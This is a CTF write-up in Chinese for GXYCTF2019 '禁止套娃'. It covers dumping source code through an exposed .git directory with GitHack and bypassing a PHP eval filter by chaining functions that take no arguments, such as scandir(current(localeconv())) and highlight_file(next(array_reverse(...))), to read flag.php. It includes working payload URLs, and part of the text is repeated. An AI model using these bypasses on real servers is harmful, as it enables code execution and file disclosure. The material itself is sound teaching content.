【PHP无参数RCE】GXYCTF2019 禁止套娃

本文最后更新于:2021年8月18日下午1点46分

PHP无参数RCE

获取当前目录下的文件

localeconv() 函数返回一包含本地数字及货币格式信息的数组。

var_dump一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
php > var_dump(localeconv());
array(18) {
["decimal_point"]=>
string(1) "."
["thousands_sep"]=>
string(0) ""
["int_curr_symbol"]=>
string(0) ""
["currency_symbol"]=>
string(0) ""
["mon_decimal_point"]=>
string(0) ""
["mon_thousands_sep"]=>
string(0) ""
["positive_sign"]=>
string(0) ""
["negative_sign"]=>
string(0) ""
["int_frac_digits"]=>
int(127)
["frac_digits"]=>
int(127)
["p_cs_precedes"]=>
int(127)
["p_sep_by_space"]=>
int(127)
["n_cs_precedes"]=>
int(127)
["n_sep_by_space"]=>
int(127)
["p_sign_posn"]=>
int(127)
["n_sign_posn"]=>
int(127)
["grouping"]=>
array(0) {
}
["mon_grouping"]=>
array(0) {
}
}

可以看到,该函数的第一项就是.符号

这时候我们使用第二个函数current():返回数组中的当前单元, 默认取第一个值。

current()localeconv()组合,var_dump()一下

1
2
php > var_dump(current(localeconv()));
string(1) "."

获取文件中的内容:

  1. 通过打乱数组顺序读flag.php

    readfile(array_rand(array_flip(scandir(current(localeconv())))));

    array_flip()交换数组的键和值

    array_rand()从数组中随机取出一个或多个单元,不断刷新访问就会不断随机返回,本题目中scandir()返回的数组只有5个元素,刷新几次就能刷出来flag.php

  2. 因为flag.php是倒数第二个文件,但是并没有可以直接读倒数第二个文件的函数,因此这里采用的方法是,先用array_reverse()函数将数组翻转,然后用next()函数读取翻转后的数组的下一个,即原本的倒数第二个(这些人脑洞真大

    image-20210530113833440

    对于本题来说:payload即为:

    1
    http://d5921ff3-7580-4846-918b-06467dda8209.node3.buuoj.cn/?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
    1. 利用session并读取

      本题目虽然ban了hex关键字,导致hex2bin()被禁用,但是我们可以并不依赖于十六进制转ASCII的方式,因为flag.php这些字符是PHPSESSID本身就支持的。
      使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。
      session_id()可以获取到当前的session id

      因此我们手动设置名为PHPSESSIDcookie,并设置值为flag.php

    image-20210530120641142

WriteUp:

打开题目:

image-20210530103951702

先用dirsearch扫一下,因为BUU上的题目,扫多了会429,所以这边直接给出扫描结果——.git/config

访问http://d5921ff3-7580-4846-918b-06467dda8209.node3.buuoj.cn/.git/config

image-20210530104312590

可以看到,是有东西可以进行下载的

这时候使用githack工具(实测githackerdump不下来源码)

1
python GitHack.py http://d5921ff3-7580-4846-918b-06467dda8209.node3.buuoj.cn/.git/

image-20210530105025436

查看一下index.php

image-20210530105052481

PHP代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

可以看到,该index.php文件要求我们传参exp,并且过滤掉了data:// filter:// php:// phar://等主流伪协议

还进行了正则匹配,要求传入的exp中,函数的括号中不能有参数,即要求我们进行无参数RCE,并且过滤掉了一些进制转换的函数

image-20210530111313725

虽然我们知道flag应该是藏在flag.php中,但是还是要先扫描一下目录,看看当前目录下一共有哪些文件

正常情况下,PHP语言想要读取当前目录下的所有内容,是通过以下代码

1
2
3
<?php
print_r(scandir('.'));
?>

但是,在scandir()中需要加上.这个参数,然而在这道题目中,函数中不能有参数

那么问题就转化成了如何通过函数来获取.这个符号

这时候要引入两个函数,第一个是:localeconv() 函数返回一包含本地数字及货币格式信息的数组。

我们var_dump()一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
php > var_dump(localeconv());
array(18) {
["decimal_point"]=>
string(1) "."
["thousands_sep"]=>
string(0) ""
["int_curr_symbol"]=>
string(0) ""
["currency_symbol"]=>
string(0) ""
["mon_decimal_point"]=>
string(0) ""
["mon_thousands_sep"]=>
string(0) ""
["positive_sign"]=>
string(0) ""
["negative_sign"]=>
string(0) ""
["int_frac_digits"]=>
int(127)
["frac_digits"]=>
int(127)
["p_cs_precedes"]=>
int(127)
["p_sep_by_space"]=>
int(127)
["n_cs_precedes"]=>
int(127)
["n_sep_by_space"]=>
int(127)
["p_sign_posn"]=>
int(127)
["n_sign_posn"]=>
int(127)
["grouping"]=>
array(0) {
}
["mon_grouping"]=>
array(0) {
}
}

可以看到,该函数的第一项就是.符号

这时候我们使用第二个函数current():返回数组中的当前单元, 默认取第一个值。

current()localeconv()组合,var_dump()一下

1
2
php > var_dump(current(localeconv()));
string(1) "."

这时候我们对exp进行传参print_r(scandir(current(localeconv())));

image-20210530113052408

可以看到当前页面下一共有五个内容

这时候问题就转换成如何无参数将flag.php中的内容读取出来

读取flag.php以下一共有三个办法

  1. 通过打乱数组顺序读flag.php

    readfile(array_rand(array_flip(scandir(current(localeconv())))));

    array_flip()交换数组的键和值

    array_rand()从数组中随机取出一个或多个单元,不断刷新访问就会不断随机返回,本题目中scandir()返回的数组只有5个元素,刷新几次就能刷出来flag.php

  2. 因为flag.php是倒数第二个文件,但是并没有可以直接读倒数第二个文件的函数,因此这里采用的方法是,先用array_reverse()函数将数组翻转,然后用next()函数读取翻转后的数组的下一个,即原本的倒数第二个(这些人脑洞真大

    image-20210530113833440

    对于本题来说:payload即为:

    1
    http://d5921ff3-7580-4846-918b-06467dda8209.node3.buuoj.cn/?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

    image-20210530121438982

    得到flag:flag{05ea4320-ba11-4bff-8bb5-b8393cc004a7}

    1. 利用session并读取

      本题目虽然ban了hex关键字,导致hex2bin()被禁用,但是我们可以并不依赖于十六进制转ASCII的方式,因为flag.php这些字符是PHPSESSID本身就支持的。
      使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。
      session_id()可以获取到当前的session id

      因此我们手动设置名为PHPSESSIDcookie,并设置值为flag.php

      但是我自己实测放在repeat里加上Cookie是没有回显的,以下是Mz1师傅的截图

    image-20210530120641142